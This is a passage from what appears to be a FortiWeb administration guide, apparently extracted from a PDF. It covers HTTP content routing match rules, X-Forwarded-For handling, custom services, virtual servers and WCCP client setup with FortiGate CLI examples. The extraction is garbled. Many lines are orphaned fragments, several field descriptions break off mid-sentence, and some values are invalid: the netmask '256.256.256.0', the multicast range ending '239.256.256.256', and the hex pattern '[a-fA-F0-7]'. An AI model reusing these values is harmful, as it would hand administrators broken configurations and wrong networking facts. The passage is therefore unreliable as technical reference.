For example, when Is equal to is selected, the value
/dir1/abc/index.html matches the following URL:
http://test.abc.com/dir1/abc/index.html
matches the object. For example, ^/*.php.

the list.
HTTP Parameter
Parameter Name Specify one of the following values to match:

l Match prefix—The parameter name to match begins with the

184
specified string.
l Match suffix—The parameter name to match ends with the
specified string.
l Match contains—The parameter name to match contains the
specified string.
l Is equal to—The parameter name to match is the specified
string.
l Regular expression—The parameter name to match matches
the specified regular expression.
(value) Specifies a parameter name to match.

matches the object.
Parameter Value Specify one of the following values to match:

l Match prefix—The parameter value to match begins with the
specified string.
l Match suffix—The parameter value to match ends with the
specified string.
l Match contains—The parameter value to match contains the
specified string.
l Is equal to—The parameter value to match is the specified
string.
l Regular expression—The parameter value to match matches
the specified regular expression.
(value) Specifies a parameter value to match.

matches the object.

rule l Or—Matching requests match this entry or other entries in the
list.
HTTP Referer
HTTP Referer Specify one of the following values to match:

l Match prefix—The HTTP referer value to match begins with the
specified string.
l Match suffix—The HTTP referer value to match ends with the
specified string.

185
l Match contains—The HTTP referer value to match contains the

specified string.
l Is equal to—The HTTP referer value to match is the specified
string.
l Regular expression—The HTTP referer value to match
matches the specified regular expression.
(value) Specifies an HTTP referer value to match.

matches the HTTP referer value.

list.
HTTP Cookie
HTTP Cookie Specify one of the following values to match:

l Match prefix—The cookie name to match begins with the
specified string.
l Match suffix—The cookie name to match ends with the
specified string.
l Match contains—The cookie name to match contains the
specified string.
l Is equal to—The cookie name to match is the specified string.
l Regular expression—The cookie name to match matches the
specified regular expression.
(value) Specifies a cookie name to match.

matches the name.
Cookie Value Specify one of the following values to match:

l Match prefix—The cookie value to match begins with the
specified string.
l Match suffix—The cookie value to match ends with the
specified string.
l Match contains—The cookie value to match contains the
specified string.
l Is equal to—The cookie value to match is the specified string.
l Regular expression—The cookie value to match matches the

186
For example, hash[a-fA-F0-7]*.
(value) Specifies a cookie value to match.

matches the cookie value.

the list.
HTTP Header
Header Name Specify one of the following values to match:

l Match prefix—The header name to match begins with the
specified string.
l Match suffix—The header name to match ends with the
specified string.
l Match contains—The header name to match contains the
specified string.
l Is equal to—The header name to match is the specified string.
l Regular expression—The header name to match matches the
(value) Specifies a header name to match.

matches the name.
Header Value Specify one of the following values to match:

l Match prefix—The header value to match begins with the
specified string.
l Match suffix—The header value to match ends with the
specified string.
l Match contains—The header value to match contains the
specified string.
l Is equal to—The header value to match is the specified string.
l Regular expression—The header value to match matches the
(value) Specifies a header value to match.

187

matches the header value.

list.
Source IP
Source IP Specify one of the following values to match:

l IPv4 Address/Range—The source IP to match is an IPv4 IP
address or within a range of IPv4 IP addresses.
l IPv6 Address/Range—The source IP to match is an IPv6 IP
address or within a range of IPv6 IP addresses.
l Regular expression—The source IP to match matches the
l Import From CSV File—The source IPs to match are multiple
IP addresses or IP ranges included in the CSV file.
(value) Specifies a source IP address value to match.

matches the source IP.

the list.
X509 Certificate Subject Matches against a specified Relative Distinguished Name (RDN) in
the X509 certificate Subject field. Use an attribute-value pair to
specify the RDN.
For example, an X509 certificate has the following Subject field
content:
C=CN, ST=Beijing, L=Haidian, O=fortinet, OU=fortiweb, CN=pc110

188
The following settings match a certificate with this Subject field

by matching the RDN O=fortinet:
l X509 Field Name—O
l Value =—fortinet
X509 Field Select the attribute type to match: E, CN, OU, O, L, ST, C.
Name
Value Enter an RDN attribute value in the X509 Subject field to match.

the list.
X509 Certificate Matches against additional fields that the extensions field adds to the
Extension X509 certificate.
For example, an X509 certificate has the following extensions:
Extensions:
X509v3 Basic Constraints: CA:TRUE
X509v3 Subject Alternative Name: URI:aaaa
X509v3 Issuer Alternative Name: URI:bbbb
Full Name: URI:cccc
The following settings match the extension X509v3 Basic Constraints

by matching its value:
l Match Object—X509 Certificate Extension
l X509 Field Value—Is equal to
l (value)—CA:TRUE
X509 Field Specify one of the following values in the X509 extension to match:
Value l Match prefix—The X509 extension value to match begins with
the specified string.
l Match suffix—The X509 extension value to match ends with the
specified string.
l Match contains—The X509 extension value to match contains
the specified string.
l Is equal to—The X509 extension value to match is the specified
string.
l Regular expression—The X509 extension value matches the
(value) Specifies an X509 extension value to match.

matches the X509 extension value.

189

the list.
HTTPS SNI
HTTPS SNI Specify one of the following values in the HTTPS SNI to match:

l Match prefix—The HTTPS SNI value to match begins with the
specified string.
l Match suffix—The HTTPS SNI value to match ends with the
specified string.
l Match contains—The HTTPS SNI value to match contains the
specified string.
l Is equal to—The HTTPS SNI value to match is the specified
string.
l Regular expression—The HTTPS SNI value matches the
(value) Specifies an HTTPS SNI value to match.

matches the HTTPS SNI value.

the list.
Geo IP Matches against the IP addresses from specified countries.
Country Select one or more countries at left, then click the icon to move
the selected countries to the right.
Reverse Enable to match against the IP addresses from the countries not in
the Selected Country list.
7. Click OK.
8. Repeat the rule creation steps for each HTTP host, HTTP request, or other objects that you want to route to this
server pool.
9. If required, select an entry, and then click Move to adjust the rule sequence.
For an example of how to add logic for the rules, see Example: Concatenating exceptions on page 498.

190
10. Click OK.

11. Repeat the policy creation procedure for each server pool, as required. You can also create additional policies that
select the same server pool.
12. To apply a HTTP content routing policy, select it in a server policy. When you add HTTP content routing polices to a
policy, you also select a default policy. The default policy routes traffic that does not match any conditions found in
the specified routing policies.
For details, see Configuring an HTTP server policy on page 242.
See also

l Enabling or disabling traffic forwarding to your servers on page 200
Example: Routing according to URL/path
Your FortiWeb appliance might have one virtual server (the front end) protecting three physical web servers (the back
end).
From the perspective of clients connecting to the front end, there is one domain name: www.example.com. At this host
name, there are three top-level URLs:
l /games—Game application
l /school—School application
l /work—Work application
In a client’s web browser, therefore, they might go to the location:
http://www.example.com/games
Behind the FortiWeb, however, each of those 3 web applications actually resides on separate back-end web servers with
different IP addresses, and each has its own server pool:
l 10.0.0.11/games—Game application
l 10.0.0.12/school—School application
l 10.0.0.13/work—Work application
In this case, you configure HTTP content routing so FortiWeb routes HTTP requests to http://www.example.com/school
to the server pool that contains 10.0.0.12. Similarly, requests for the URL /games go to a pool that contains 10.0.0.11,
and requests for the URL /work go to a pool that contains 10.0.0.13.
See also


191
Example: Routing according to the HTTP “Host:” field
Your FortiWeb appliance might have one virtual server (the front end) protecting three physical web servers (the back
end).
From the perspective of clients connecting to the front end, Example Company’s website has a few domain names:
l http://www.example.com
l http://www.example.cn
l http://www.example.de
l http://www.example.co.jp
Public DNS resolves all of these domain names to one IP address: the virtual server on FortiWeb.
At the data center, behind the FortiWeb, separate physical web servers host some region-specific websites. Other
websites have lighter traffic and are maintained by the same person, and therefore a shared server hosts them. Each
back-end web server has a DNS alias. When you configure the server pools, you define each pool member using its DNS
alias, rather than its IP address:
l www1.example.com—Hosts www.example.com, plus all other host names’ content, in case the other web servers
fail or have scheduled down time
l www2.example.com—Hosts www.example.de
l www3.example.com—Hosts www.example.cn & www.example.co.jp
While public DNS servers all resolve these aliases to the same IP address—FortiWeb’s virtual server—your private
DNS server resolves these DNS names to separate IPs on your private network: the back-end web servers.
l www1.example.com—Resolves to 192.168.0.1
In this case, you configure HTTP content routing to route requests from clients based on the original Host: field in the
HTTP header to a server pool that contains the appropriate DNS aliases. The destination back-end web server is
determined at request time using server health check statuses, as well as private network DNS that resolves the DNS
alias into its current private network IP address:
l http://www.example.com/—Routes to a pool that contains www1.example.com
l http://www.example.de/—Routes to a pool that contains members www2.example.com and www1.example.com.
The www2.example.com pool member is first in the list and receives requests unless that web server is down, in
which case FortiWeb routes requests to www1.example.com
l http://www.example.cn/ & http://www.example.co.jp/—Routes to a pool that contains members
www3.example.com and www1.example.com. The www3.example.com pool member is first in the list and
receives requests unless that web server is down, in which case FortiWeb routes requests to www1.example.com
If you need to maintain HTTP session continuity for web applications, ensure the pool have a persistence policy that
forwards subsequent requests from a client to the same back-end web server as the initial request.
See also

l Rewriting & redirecting on page 628

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Example: HTTP routing with full URL & host name rewriting
In some cases, HTTP header-based routing is not enough. It must be, or should be, combined with request or response
rewriting.
Example.com hosts calendar, inventory, and customer relations management web applications separately: one app per
specialized server. Each web application resides in its web server’s root folder ( / ). Each back-end web server is named
after the only web application that it hosts:
l calendar.example.com/
l inventory.example.com/
l crm.example.com/
Therefore each request must be routed to a specific back-end web server. Requests for the calendar application
forwarded to crm.example.com, for example, would result in an HTTP 404 error code.
These back-end DNS names are publicly resolvable. However, for legacy reasons, clients may request pages as if all
apps were hosted on a single domain, www.example.com:
l www.example.com/calendar
l www.example.com/inventory
l www.example.com/crm
Because the URLs requested by clients (prefixed by /calendar etc.) do not actually exist on the back-end servers,
HTTP header-based routing is not enough. Alone, HTTP header-based routing with these older location structures
would also result in HTTP 404 error codes, as if the clients’ requests were effectively for:
l calendar.example.com/calendar
l inventory.example.com/inventory
l crm.example.com/crm
To compensate for the new structure on the back end, request URLs must be rewritten: FortiWeb removes the
application name prefix in the URL.
URL and host name transformation to match HTTP routing
For performance reasons, FortiWeb also rewrites the Host: field. All subsequent requests from the client use the
correct host and URL and do not require any modification or HTTP-based routing. Otherwise, FortiWeb would need to
rewrite every subsequent request in the session, and analyze the HTTP headers for routing every subsequent request
in the session.
See also


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Defining your proxies, clients, & X-headers
In some topologies, you must configure FortiWeb’s use of X-headers such as X-Forwarded-For:, X-Real-IP:, or
True-Client-IP:, including when:
l FortiWeb has been deployed behind a proxy/load balancer which applies NAT. Connection-wise, this
causes all requests appear to come from the IP address of the proxy or load balancer, not the original client.
FortiWeb requires the true client’s source IP so that when blocking attacks, it does not block the
proxy/load balancer’s IP, affecting innocent requests. FortiWeb also requires some way to derive the original
client’s IP so that attack logs and reports to show the IP of the actual attacker, rather than misleadingly blaming the
load balancer.
l The web server needs the client’s source IP address for purposes such as analytics, but FortiWeb is
operating in Reverse Proxy mode, which applies NAT, and therefore all requests appear to come from FortiWeb’s
IP address.
Due to source NAT (SNAT), a packet’s source address in its IP layer may have been changed, and therefore the original
address of the client may not be directly visible to FortiWeb and/or its protected web servers. During a packet’s transit
from the client to the web server, it could be changed several times: web proxies, load balancers, routers, and firewalls
can all apply NAT.
Depending on whether the NAT devices are HTTP-aware, the NAT device can record the packet’s original source IP
address in the HTTP headers. HTTP X-headers such as X-Real-IP: can be used by FortiWeb instead to trace the
original source IP (and each source IP address along the path) in request packets. They may also be used by back-end
web servers for client analysis.
Affects of source NAT at the IP and HTTP layers of request packets when in-between devices are HTTP-
aware
SRC 10.0.0.1 Source NAT

X-Forwarded-For:
192.168.1.20 SRC 172.16.1.1
X-Forwarded-For:
192.168.1.20,
Web 10.0.0.1
Proxy FortiWeb
(NAT) (Reverse
Proxy)
SRC 192.168.1.20
Client Server

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Indicating the original client’s IP to back-end web servers
Some web applications need to know the IP address of the client where the request originated in order to log or analyze
it.
For example, if your web applications need to display different available products for clients in Canada instead of the
United States, your web applications may need to analyze the original client’s IP for a corresponding geographic
location.
In that case, you would enable FortiWeb to add or append to an X-Forwarded-For: or X-Real-IP: header.
Otherwise, from the web server’s perspective, all IP sessions appear to be coming from FortiWeb—not from the
original requester. The back-end web server would not be able to guess what the original client’s public IP was, and
therefore would not be able to analyze it. When these options are enabled, the web server can instead use this HTTP-
layer header to find the public source IP and path of the IP-layer session from the original client.
To configure FortiWeb to add the packet’s source IP to X-Forwarded-For: and/or X-Real-IP:
1. Go to Server Objects > X-Forwarded-For.
Note: The name cannot be changed after this part of the configuration is
saved. To rename a part of the configuration, clone it, select it in all parts of
the configuration that reference the old name, then delete the item with the
old name.
Add X-Forwarded-For: Enable to include the X-Forwarded-For: HTTP header in requests

forwarded to your web servers.
If the HTTP client or web proxy does not provide the header, FortiWeb adds it,
using the source IP address of the connection.
If the HTTP client or web proxy already provides the header, it appends the
source IP address to the header's list of IP addresses.
This option can be useful if your web servers log or analyze clients’ public IP
addresses, if they support the X-Forwarded-For: header. If they do not,
disable this option to improve performance.
This option applies only when FortiWeb is operating in Reverse Proxy mode or
True Transparent Proxy mode, which applies source network address
translation (NAT) and therefore rewrites the source address in the IP layer.
Add Source Port: Enable to add an X-Forwarded-For: header with the connection's
source IP. If this field is enabled, the source port of the request will be added
as well.
Available only when FortiWeb operates in Reverse Proxy, True Transparent
Proxy, or WCCP mode.
Add X-Forwarded-Port: Enable to add an X-Forwarded-Port: header with the connection's

destination port.
Available only when FortiWeb operates in Reverse Proxy, True Transparent
Proxy, or WCCP mode.

195
Add X-Real-IP: Enable to include the X-Real-IP: HTTP header on requests forwarded to
your web servers. Behavior varies by the header already provided by the HTTP
client or web proxy, if any (see Add X-Forwarded-For: on page 194).
Like X-Forwarded-For:, this header is also used by some proxies and
web servers to trace the path, log, or analyze based upon the packet’s original
source IP address.
This option applies only when FortiWeb is operating in Reverse Proxy mode or
True Transparent Proxy mode, which applies source network address
translation (NAT) and therefore rewrites the source address in the IP layer.
Note: This does not support IPv6.
3. Click OK.
4. To apply the X-header rule, select it when configuring an inline protection profile. For details, see Configuring a
protection profile for inline topologies on page 223.
See also
l External load balancers: before or after? on page 67
Indicating to back-end web servers that the client’s request was HTTPS
Usually if your FortiWeb is receiving HTTPS requests from clients, and it is operating in Reverse Proxy mode, SSL/TLS
is being offloaded. FortiWeb has terminated the SSL/TLS connection and the second segment of the request, where it
forwards to the back-end servers, is clear text HTTP. In some cases, your back-end server may need to know that the
original request was, in fact, encrypted HTTPS, not HTTP.
To add an HTTP header that indicates the service used in the client’s original request, go to Server Objects > X-
Forwarded-For and enable X-Forwarded-Proto:.
See also
Blocking the attacker’s IP, not your load balancer
When you configure Use X-Header to Identify Original Client’s IP on page 196, FortiWeb compensates for NAT in your
data center by using an HTTP header to derive the client’s IP address. In this way, even if the connection is not
established directly between the web browser and FortiWeb, but instead is relayed, with the last segment established
between your proxy/load balancer’s IP and FortiWeb, FortiWeb will still be able to report and block the actual attacker,
rather than your own infrastructure.
Only public IPs will be used. If the original client’s IP is a private network IP (e.g. 192.168.*, 172.16.*, 10.*),
FortiWeb will instead use the first public IP before or after the original client’s IP in the HTTP header line. Whether this
is counted from the left or right end of the header line depends on IP Location in X-Header on page 196. In most cases,
this public IP will be the client’s Internet gateway, and therefore blocking based on this IP may affect innocent clients
that share the attacker’s Internet connection. For details, seeShared IP on page 678.
To limit the performance impact, FortiWeb will analyze the HTTP header for the client’s IP only for the first request in
the TCP/IP connection. As a result, it is not suitable for use behind load balancers that multiplex—that is,
attempt to reduce total simultaneous TCP/IP connections by sending multiple, unrelated HTTP requests from different

196
clients within the same TCP/IP connection. Symptoms of this misconfiguration include FortiWeb mistakenly attributing
subsequent requests within the same TCP/IP connection to the IP found in the first request’s HTTP header, even
though the X-header indicates that the request originated from a different client.
After FortiWeb has traced the original source IP of the client, FortiWeb will use it in attack logs and reports so that they
reflect the true origin of the attack, not your load balancer or proxy. FortiWeb will also use the original source IP as the
basis for blocking when using some features that operate on the source IP:
l DoS prevention
l brute force login prevention
l period block
Like addresses at the IP layer, attackers can spoof and alter addresses in the HTTP
layer. Do not assume that they are 100% accurate, unless there are anti-spoofing
measures in place such as defining trusted providers of X-headers.
For example, on FortiWeb, if you provide the IP address of the proxy or load balancer, when blocking requests and
writing attack log messages or building reports, instead of using the SRC field in the IP layer of traffic as the client’s IP
address (which would cause all attacks to appear to originate from the load balancer), FortiWeb can instead find the
client’s real IP address in the X-Forwarded-For: HTTP header. FortiWeb could also add its own IP address to the
chain in X-Forwarded-For:, helping back-end web servers that require the original client’s source IP for purposes
such as server-side analytics—providing news in the client’s first language or ads relevant to their city, for example.
Like IP-layer NAT, some networks also translate addresses at the HTTP layer. In those cases, enabling Use X-Header to
Identify Original Client’s IP may have no effect. To determine the name of your network’s X-headers, if any, and to see
whether or not they are translated, use diagnose network sniffer in the CLI or external packet capture software
such as Wireshark.
To configure FortiWeb to obtain the packet’s original source IP address from an HTTP header
1. Go to Server Objects > X-Forwarded-For.
Use X-Header to Identify If FortiWeb is deployed behind a device that applies NAT, enable this option
Original Client’s IP to derive the original client’s source IP address from an HTTP X-header,
instead of the SRC field in the IP layer. Then type the key such as X-
Forwarded-For or X-Real-IP, without the colon ( : ), of the X-header
that contains the original source IP address of the client.
This HTTP header is often X-Forwarded-For: when traveling through a
web proxy, but can vary. For example, the Akamai service uses True-
Client-IP:.
For deployment guidelines and mechanism details, see Blocking the
attacker’s IP, not your load balancer on page 195.
Caution: To combat forgery, configure the IP addresses of load balancers
and proxies that are trusted providers of this header. Also configure those
proxies/load balancers to reject fraudulent headers, rather than passing them
to FortiWeb.
IP Location in X-Header Select whether to extract the original client’s IP from either the left or right end
of the HTTP X-header line.

197
Most proxies put the request’s origin at the left end, which is the default
setting. Some proxies, however, place it on the right end.
Block Using Original Enable to be able to block requests that violate your policies by using the
Client’s IP original client’s IP derived from this HTTP X-header.
When disabled, attack logs and reports will not use the original client’s IP.
3. Click OK to save the configuration.

To apply anti-spoofing measures and improve security, FortiWeb will only trust the HTTP header contents of the
IPs that you specified in Trusted X-Header Sources table.
The following configuration is optional. If you do not specify IPs in Trusted X-

Header Sources table, X-headers of all IPs will be trusted by FortiWeb.

A sub-dialog appears.
5. In New X-Forwarded-For IP, type the IP address of the external proxy or load balancer according to packets’ SRC
field in the IP layer when received by FortiWeb.
6. Click OK.
7. To apply the X-header rule, select it when configuring an inline protection profile. For details, see Configuring a
See also

l Logging on page 698
l Alert email on page 724
l Reports on page 732
l DoS prevention on page 612

198
Defining your network services
Network services define the application layer protocols and port number on which your FortiWeb will listen for web
traffic.
Policies must specify either a predefined or custom network service to define which traffic the policy will match.
Exceptions include server policies whose Deployment Mode on page 244 is Offline Protection.
See also
l Defining custom services on page 198

Defining custom services
Server Objects > Service > Custom enables you to configure custom services.

Predefined services are available for standard IANA port numbers (https://www.iana.org/assignments/service-names-
port-numbers/service-names-port-numbers.xml) for HTTP and HTTPS. For details, see Predefined services on page
198. If your virtual server will receive traffic on non-standard port numbers, however, you must define your custom
service.
To configure a custom service
1. Go to Server Objects > Service and select the Custom tab.

characters.
4. In Port, type the port number of the service (by definition of HTTP and HTTPS, only TCP is available).
The port number must be unique among your custom and predefined services. The valid range is from 0 to 65,535.
5. Click OK.
6. To use the custom service definition to define the listening port of a virtual server on the FortiWeb, select it as the
HTTP Service on page 246 or HTTPS Service on page 247 when configuring a policy. For details, see Configuring
an HTTP server policy on page 242.
See also

Predefined services
Go to Server Objects > Service. The Predefined tab displays the list of predefined services.
Predefined services are according to standard IANA port numbers (https://www.iana.org/assignments/service-names-
port-numbers/service-names-port-numbers.xml): TCP port 80 for HTTP and TCP port 443 for HTTPS.

199
To use the predefined service definition to define the listening port of a virtual server on the FortiWeb, select it as the
HTTP Service on page 246 or HTTPS Service on page 247 when configuring a policy. For details, see Configuring an
HTTP server policy on page 242.
To access this part of the web UI, your administrator’s account access profile must have Read permission to items in
the Server Policy Configuration category. For details, see Permissions on page 56.
See also
l Defining your network services on page 198

Configuring virtual servers on your FortiWeb
Before you can create a server policy, you must first configure a virtual server that defines the network interface or
bridge and IP address where traffic destined for a server pool arrives. When the FortiWeb appliance receives traffic
destined for a virtual server, it can then forward the traffic to a single web server (for Single Server server pools) or
distribute sessions/connections among servers in a server pool.
A virtual server on your FortiWeb is not the same as a virtual host on your web
server. A virtual server is more similar to a virtual IP on a FortiGate. It is not an
actual server, but simply defines the listening network interface. Unlike a FortiGate
VIP, it includes a specialized proxy that only picks up HTTP and HTTPS.
By default, in Reverse Proxy mode, FortiWeb’s virtual servers do not forward non-
HTTP/HTTPS traffic from virtual servers to your protected web servers. (It only
forwards traffic picked up and allowed by the HTTP Reverse Proxy.) You may be
able to provide connectivity by either deploying in a one-arm topology where other
protocols bypass FortiWeb, or by enabling FortiWeb to route other protocols. For
details, see Topology for Reverse Proxy mode on page 74 and the config
router setting command in the FortiWeb CLI Reference:
The FortiWeb appliance identifies traffic as being destined for a specific virtual server if:
l the traffic arrives on the network interface or bridge associated with the virtual server
l for Reverse Proxy mode, the destination address is the IP address of a virtual server (the destination IP address is
ignored in other operation modes, except that it must not be identical to the web server’s IP address)
Virtual servers can be on the same subnet as real web servers. This configuration
creates a one-arm HTTP proxy. For example, the virtual server 10.0.0.1/24 could
forward to the web server 10.0.0.2.
However, this is not usually recommended. Unless your network’s routing
configuration prevents it, it would allow clients that are aware of the web server’s IP
address to bypass the FortiWeb appliance by accessing the back-end web server
directly. The topology may be required in some cases, however, such as IP-based
forwarding, mentioned above.

200
To configure a virtual server
1. Go to Server Objects > Server > Virtual Server.

3. Enter a name for the virtual server.
4. Click OK.
Use Interface IP Select to use the IP address of the specified network interface as the address
of the virtual server.
Interface Available only if Use Interface IP is enabled.

Select the network interface or bridge the virtual server is bound to and where
traffic destined for the virtual server arrives.
To configure an interface or bridge, see To configure a network interface or
bridge on page 124.
Virtual IP Available only if Use Interface IP is disabled.

Select the virtual IP which you wan to attach to this virtual server.
Status If enabled, FortiWeb will accept traffic destined for this virtual IP or interface.
7. Click OK.
8. Repeat step 5 to 7 if you want to attach more virtual IPs or bind more interfaces to this virtual server. When you
create server policy and then reference this virtual server in it, the web protection profile will be applied to all the
virtual IPs and interfaces in this virtual server.
9. To define the listening port of the virtual server, create a custom service. For details, see Defining your network
services on page 198.
10. To use the virtual server, select both it and the custom service in a server policy. For details, see Configuring an
See also

Enabling or disabling traffic forwarding to your servers
The server pool configuration allows you to individually enable and disable FortiWeb’s forwarding of HTTP/HTTPS
traffic to your web servers, or place them in maintenance mode.

201
Disabling servers only affects HTTP/HTTPS traffic. To enable or disable forwarding

of FTP, SSH, or other traffic, use the CLI command config router setting.
For details, see the FortiWeb CLI Reference:
You can select server pools with disabled virtual servers in a server policy even though the policy cannot forward traffic
to the disabled servers.
Disabled physical and domain servers can belong to a server pool, but FortiWeb does not forward traffic to them. If a
server in a pool is disabled, FortiWeb will transfer any remaining HTTP transactions in the TCP stream to an active
physical server in the server pool according to the pool's load balancing algorithm. For details, see Load Balancing
Algorithm on page 170.
By default, physical and domain servers that belong to a pool are enabled and the FortiWeb appliance can forward
traffic to them. To prevent traffic from being forwarded to a physical server, such as when the server is unavailable for a
long time due to repairs, you can disable it. If the disabled physical server is a member of a Server Balance server
pool, the FortiWeb appliance automatically forwards connections to other enabled pool members.
Alternatively, if the physical or domain server is a member of a Server Balance server pool and will be unavailable only
temporarily, you can configure a server health check to automatically prevent the FortiWeb appliance from forwarding
traffic to that physical server when it is unresponsive. For details, see Configuring server up/down checks on page 163.
Disabling a physical or domain server could block traffic matching policies in which
you have selected the server pool of which the physical server is a member.
See also
l Configuring virtual servers on your FortiWeb on page 199

l Enabling or disabling a policy on page 256
Configuring FortiWeb to receive traffic via WCCP
You can configure FortiWeb as a Web Cache Communication Protocol (WCCP) client. This configuration allows a
FortiGate configured as a WCCP server to redirect HTTP and HTTPS traffic to FortiWeb for inspection.
If your WCCP configuration includes multiple WCCP clients, the WCCP server can balance the traffic load among the
clients. In addition, it detects when a client fails and redirects sessions to clients that are still available.
WCCP was originally designed to provide web caching with load balancing and fault tolerance and is described by the
Web Cache Communication Protocol Internet draft (http://tools.ietf.org/id/draft-wilson-wrec-wccp-v2-01.txt).
This feature requires the operation mode to be WCCP. For details, see Setting the operation mode on page 105.
For details about connecting and configuring your network devices for WCCP mode, see Topology for WCCP mode on
page 80.
For detailed information on configuring FortiGate and other Fortinet devices to act as a WCCP service group, see the
FortiGate WCCP topic in the FortiOS Handbook:

202
http://docs.fortinet.com/fortigate
Configuring the FortiWeb WCCP client settings
To configure FortiWeb as a WCCP client
1. Ensure the operation mode is WCCP. For details, see Setting the operation mode on page 105.
2. Configure the network interface that communicates with the FortiGate (the WCCP server) to use the WCCP
Protocol. For details, see Configuring the network settings on page 124.
3. Go to System > Config > WCCP Client.
Service ID Specifies the service ID of the WCCP service group that this WCCP client
belongs to.
For HTTP traffic, the service ID is 0.
For other types of traffic (for example, HTTPS), the valid range is 51 to 256.
(Do not use 1 to 50, which are reserved by the WCCP standard.)
Cache ID Specifies the IP address of the FortiWeb interface that communicates with the
WCCP server.
Ensure that the WCCP protocol is enabled for the specified network interface.
See Configuring the network settings on page 124.
Group Address Specifies the IP addresses of the clients for multicast WCCP configurations.
The multicast address allows you to configure a WCCP service group with
more than 8 WCCP clients.
The valid range of multicast addresses is 224.0.0.0 to 239.256.256.256.
Router List Specifies the IP addresses of the WCCP servers in the WCCP service group.
You can specify up to 8 servers.
Click + (plus sign) to add additional addresses.
To configure more than 8 WCCP servers, use Group Address on page 202
instead.
Port Specifies the port numbers of the sessions that this client inspects.
The valid range is 0 to 65535. Enter 0 to specify all ports.
Authentication Specifies whether communication between the WCCP server and client is
encrypted using the MD5 cryptographic hash function.
Password Specifies the password used by the WCCP server and clients. All servers and
clients in the group use the same password.

203
The maximum password length is 8 characters.
Available only when Authentication on page 202 is enabled.
Service Priority Specifies the priority that this service group has. If more than one service
group is available to scan the traffic specified by Port on page 202 and Service
Protocol on page 203, the WCCP server transmits all the traffic to the service
group with the highest Service Priority value.
Service Protocol Specifies the protocol of the network traffic the WCCP service group
transmits.
For TCP sessions the protocol is 6.
Cache Engine Method Specify how the WCCP server redirects traffic to FortiWeb.
l GRE—The WCCP server encapsulates redirected packets within a
generic routing encapsulation (GRE) header. The packets also have a
WCCP redirect header.
l L2—The WCCP server overwrites the original MAC header of the IP
packets and replaces it with the MAC header for the WCCP client.
Primary Hash Specifies that hashing scheme that the WCCP server uses in combination
with the Weight on page 203 value to direct traffic, when the WCCP service
group has more than one WCCP client.
The hashing scheme can be the source IP address, destination IP address,

source port, or destination port, or a combination of these values.
Weight Specifies a value that the WCCP server uses in combination with the Primary
Hash on page 203 value to direct traffic, when the WCCP service group has
more than one WCCP client.
The valid range is 0 to 256.
Bucket Format Specifies the hash table bucket format for the WCCP cache engine.
Although you can set different values for settings such as Service Priority and
Primary Hash for each WCCP client in a service group, the settings in the
WCCP client with the lowest Cache ID value have priority.
For example, if a WCCP service group has two WCCP clients with cache IDs
172.22.80.99 and 172.22.80.100, the group uses the WCCP client settings for
172.22.80.99.
6. Click OK.
7. Optionally, use the following CLI command to route traffic back to the client instead of the WCCP server. You
cannot enable this feature using the web UI.
config system wccp
edit <service-id>
set return-to-sender enable
next
end

204
8. Create a WCCP server pool. See Creating a server pool on page 169.
9. Create a server policy in which the Deployment Mode is WCCP Servers and the selected server pool is the
WCCP pool you created earlier.
Viewing WCCP protocol information
You can use a FortiGate CLI command to display WCCP information. For example:
diagnose debug enable
diagnose debug application wccp 2
In this example, the debug level is 2.

Example output:
--------------------WCCP Service ID 52-------------------------

WCCP_server_list: 1 WCCP server in total
0. 172.22.80.1
receive_id:13290 change_number:7
WCCP client seen by this WCCP Server:
0. 172.22.80.99 weight:0 (*Designated WCCP Client)
1. 172.22.80.100 weight:0
WCCP service options:
priority: 0
protocol: 6
port: 80, 443
primary-hash: src-ip, dst-ip
Example: Using WCCP with FortiOS 5.2.x
This configuration uses WCCP in a one-arm topology and WCCP to route HTTP and HTTP traffic to a FortiWeb for
scanning before forwarding permitted traffic to the back-end servers.

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192.168.1.5/24
Web Web
Server 2 Server 1
Client 192.168.1.4/24
port2
192.168.1.1/24
port1
Switch
non-HTTP
port3 FortiGate
172.22.80.1/24
HTTP
and
HTTPS
Scanned
HTTP and
HTTPS
port3
172.22.80.100/24
FortiWeb
The following command sets the IP address and enables WCCP for port3 on the firewall running FortiOS 5.2.x:
edit "port3"
set ip 172.22.80.1 256.256.256.0
set wccp enable
next
end
On the firewall, the following command specifies a WCCP service group using a service group ID (52), the firewall
interface that supports WCCP (172.22.80.1), and the interface the FortiWeb uses for WCCP communication
(172.22.80.100).
config system wccp
edit "52"
set router-id 172.22.80.1
set server-list 172.22.80.100 256.256.256.0
next
end
The following firewall policies specify the traffic that FortiGate routes to the FortiWeb for scanning:

206
l A port1 to port2 policy that accepts HTTP and HTTPS traffic and for which WCCP is enabled.
l A port1 to port2 policy that accepts HTTP and HTTPS traffic and for which WCCP is not enabled. This policy
maintains traffic flow when the WCCP client is not available (for example, if FortiWeb is rebooting).
l A port3 to port2 policy that accepts scanned HTTP and HTTPS traffic from the FortiWeb.
config firewall policy
edit 1
set srcintf "Port1"
set dstintf "Port2"
set srcaddr "all"
set dstaddr "192.168.1.4" "192.168.1.5"
set action accept
set schedule "always"
set service "HTTP" "HTTPS"
set wccp enable
next
edit 2
set srcintf "Port1"
set dstintf "Port2"
set srcaddr "all"
set dstaddr "192.168.1.4" "192.168.1.5"
set action accept
next
edit 3
set srcintf "Port3"
set dstintf "Port2"
set srcaddr "all"
set dstaddr "192.168.1.4" "192.168.1.5"
set action accept
next
end
WCCP is enabled for the interface that connects FortiWeb to the firewall.
The WCCP client configuration on FortiWeb adds it to the WCCP service group 52, specifies the interface used for
WCCP client functionality (172.22.80.100) and the WCCP server (172.22.80.1).
The destination servers are members of a WCCP server pool. This pool is selected in the WCCP Servers server policy
that FortiWeb applies to the traffic it receives from the firewall via WCCP.
Example: Using WCCP with FortiOS 5.4
You can use the commands and settings described in Example: Using WCCP with FortiOS 5.2.x on page 204 to create
that same configuration with a firewall running FortiOS 5.4.
However, FortiOS 5.4 also allows you to configure WCCP communication with FortiWeb using its External Security
Devices settings. This example creates the same environment as Example: Using WCCP with FortiOS 5.2.x on page
204.

207
FortiGate configuration:
l WCCP is enabled for port3 on the firewall running FortiOS 5.4 (172.22.80.1).
l In System > External Security Devices, HTTP Service is enabled. For FortiWeb IPs, the FortiWeb acting as
a WCCP client is specified.
l The service ID is 51. This is the only service ID that the firewall can use for WCCP clients configured using the web
UI.
l In the Security Profiles > Web Application Firewall settings, for Inspection Device, select External.
l In the Policy & Objects > IPv4 Policy settings, configure a policy for which Web Application Firewall is enabled.
l A second policy for which Web Application Firewall is not enabled to maintain traffic flow when the WCCP client
is not available
l A third policy accepts scanned HTTP and HTTPS traffic from the FortiWeb.
FortiWeb configuration:
